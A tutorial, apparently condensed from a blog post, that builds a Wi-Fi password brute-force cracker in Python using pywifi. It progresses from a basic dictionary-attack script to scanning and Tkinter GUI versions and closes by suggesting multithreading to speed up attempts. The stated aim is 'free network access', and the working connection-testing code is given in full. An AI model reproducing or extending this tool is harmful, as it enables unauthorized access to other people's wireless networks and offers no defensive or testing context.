WiFi Password Brute‑Force Cracking Using Python and Tkinter GUI

The article begins with a brief introduction stating that it will record the process of using a Python script to perform Wi‑Fi password brute‑force cracking for free network access.

Non‑GUI Brute‑Force Script

A basic script without a graphical interface is presented. It defines wifiConnect(pwd) to configure a Wi‑Fi profile, attempt a connection, and return success status, and readPassword() to read passwords from a dictionary file and try each one until the correct password is found.

<code>import pywifi</code>
<code>from pywifi import const</code>
<code>import time, datetime</code>
<code># Test connection, return result</code>
<code>def wifiConnect(pwd):</code>
<code>    wifi = pywifi.PyWiFi()</code>
<code>    ifaces = wifi.interfaces()[0]</code>
<code>    ifaces.disconnect()</code>
<code>    time.sleep(1)</code>
<code>    wifistatus = ifaces.status()</code>
<code>    if wifistatus == const.IFACE_DISCONNECTED:</code>
<code>        profile = pywifi.Profile()</code>
<code>        profile.ssid = "Tr0e"</code>
<code>        profile.auth = const.AUTH_ALG_OPEN</code>
<code>        profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code>        profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code>        profile.key = pwd</code>
<code>        ifaces.remove_all_network_profiles()</code>
<code>        tep_profile = ifaces.add_network_profile(profile)</code>
<code>        ifaces.connect(tep_profile)</code>
<code>        time.sleep(2)</code>
<code>        return ifaces.status() == const.IFACE_CONNECTED</code>
<code>    else:</code>
<code>        print("已有wifi连接")</code>

The script reads passwords from pwd.txt , attempts each, prints success or failure messages, and reports the total time taken.

Script Optimization – Command‑Line Interface

The next version adds a Wi‑Fi scanning module that lists available networks sorted by signal strength, lets the user choose a target SSID, and then performs the brute‑force attack using a user‑specified dictionary path.

<code>def wifi_scan():</code>
<code>    wifi = pywifi.PyWiFi()</code>
<code>    interface = wifi.interfaces()[0]</code>
<code>    interface.scan()</code>
<code>    # wait and collect results</code>
<code>    bss = interface.scan_results()</code>
<code>    # sort and display</code>

After scanning, the user inputs the index of the desired network, confirms the choice, and the script calls wifi_password_crack(wifi_name) to iterate through the dictionary.

Simple Tkinter GUI

A minimal graphical interface is built with Tkinter. It provides entry fields for the Wi‑Fi name and a button to start cracking. The GUI reads passwords from a hard‑coded pwd.txt file and displays success or failure in a listbox.

<code>from tkinter import *</code>
<code>def wificonnect(str, wifiname):</code>
<code>    wifi = pywifi.PyWiFi()</code>
<code>    ifaces = wifi.interfaces()[0]</code>
<code>    # configure profile and attempt connection</code>

Upgraded Tkinter GUI

The final version expands the GUI with the following features:

Scanning nearby Wi‑Fi networks and displaying them in a Treeview table.

File‑dialog for selecting a password dictionary.

Separate input fields for SSID and password.

Real‑time status messages and a message box on success.

The class MY_GUI encapsulates the window, scanning, dictionary loading, and connection logic. The connect method creates a profile, attempts a connection, waits, checks the interface status, and then disconnects.

<code>class MY_GUI():</code>
<code>    def __init__(self, init_window_name):</code>
<code>        self.wifi = pywifi.PyWiFi()</code>
<code>        self.iface = self.wifi.interfaces()[0]</code>
<code>        self.iface.disconnect()</code>
<code>    def scans_wifi_list(self):</code>
<code>        self.iface.scan()</code>
<code>        time.sleep(15)</code>
<code>        scanres = self.iface.scan_results()</code>
<code>        self.show_scans_wifi_list(scanres)</code>
<code>    def readPassWord(self):</code>
<code>        pwdfilehander = open(self.get_value.get(), "r", errors="ignore")</code>
<code>        while True:</code>
<code>            self.pwdStr = pwdfilehander.readline()</code>
<code>            if not self.pwdStr: break</code>
<code>            if self.connect(self.pwdStr, self.get_wifi_value.get()):</code>
<code>                tkinter.messagebox.showinfo('提示', '破解成功！！！')</code>

The article concludes that the presented code lacks multithreading, which would reduce the waiting time caused by the 3‑5 second connection attempts, and suggests that adding threads is a worthwhile improvement.

Overall, the tutorial provides a step‑by‑step guide to building a functional Wi‑Fi password cracking tool in Python, from a simple script to a full‑featured GUI application.